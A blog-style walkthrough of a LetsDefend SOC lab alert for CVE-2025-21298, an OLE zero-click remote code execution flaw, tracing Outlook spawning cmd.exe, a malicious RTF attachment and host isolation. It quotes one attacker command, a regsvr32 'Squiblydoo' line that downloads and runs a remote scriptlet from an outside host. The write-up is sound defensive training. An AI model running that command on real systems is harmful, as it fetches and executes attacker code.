LetsDefend SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

#beginners #education #networksec

This is the alert we will be working with.
Let's start with taking the ownership of this alert/

Now let's go ahead to the Investigation channel and create a case for this alert.

Above is the screenshot of what we see on the NIST National Vulnerability Database about the CVE of this alert.
link: https://nvd.nist.gov/vuln/detail/CVE-2025-21298
The severity has a score of 9.8 which means it is CRITICAL.

This vulnerability allows attackers to execute remote code via specially crafted OLE (Object Linking and Embedding) objects without user interaction. Knowing this, I knew I needed to look for unusual child processes spawning from Office applications or script executions.

I went to the Endpoint Security tab and searched for the SMTP IP, looking through the "Processes" logs and here is what I found:

cmd.exe was executed at 08:06:08 AM with Outlook.exe as it's Parent Process which is quite a red flag since an email client is RARELY needed to spawn a command shell prompt
at 08:06:25 AM, cmd.exe spawned regsvr32.exe

Malicious command:

C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:http://84.38.130.118.com/shell.sct scrobj.dll

This command launches Windows Command Prompt to silently run regsvr32 with flags that suppress prompts (/s), unregister mode (/u), and pass a remote scriptlet URL via /i: to scrobj.dll, the Script Component runtime. In practice, this is a well-known “living off the land” technique often called Squiblydoo, where attackers abuse trusted Windows binaries to download and execute malicious code from a remote server while bypassing some application controls. The URL shown (http://84.38.130.118.com/shell.sct) suggests retrieval of a .sct scriptlet named shell.sct, which is highly suspicious and commonly associated with malware payload delivery, persistence, or remote command execution. On a real system, this should be treated as a likely malicious execution attempt and investigated immediately (process tree, network logs, DNS resolution, downloaded content, persistence artifacts, EDR alerts).

I head to Email Security as look for an email from the sender projectmanagement[@]pm[.]me

It contains an attachment named mail.rtf with "infected" as its password.

Now I go to VirusTotal and search the file hash on it

25 out of 61 vendors flag this file as malicious.

Because regsvr32.exe was used to run a remote script and possibly leverage scrobj.dll, the activity strongly suggested an ongoing system compromise. Since the remote payload’s exact functionality was unknown—it could have been a reverse shell, ransomware loader, or command-and-control beacon—the system needed to be isolated immediately.

Following were my answers for the playbook:

Looking at the above screenshot we can see the source IP (internal network) contacted the destination IP which is the SMTP IP in the alert. So, C2 communication did take place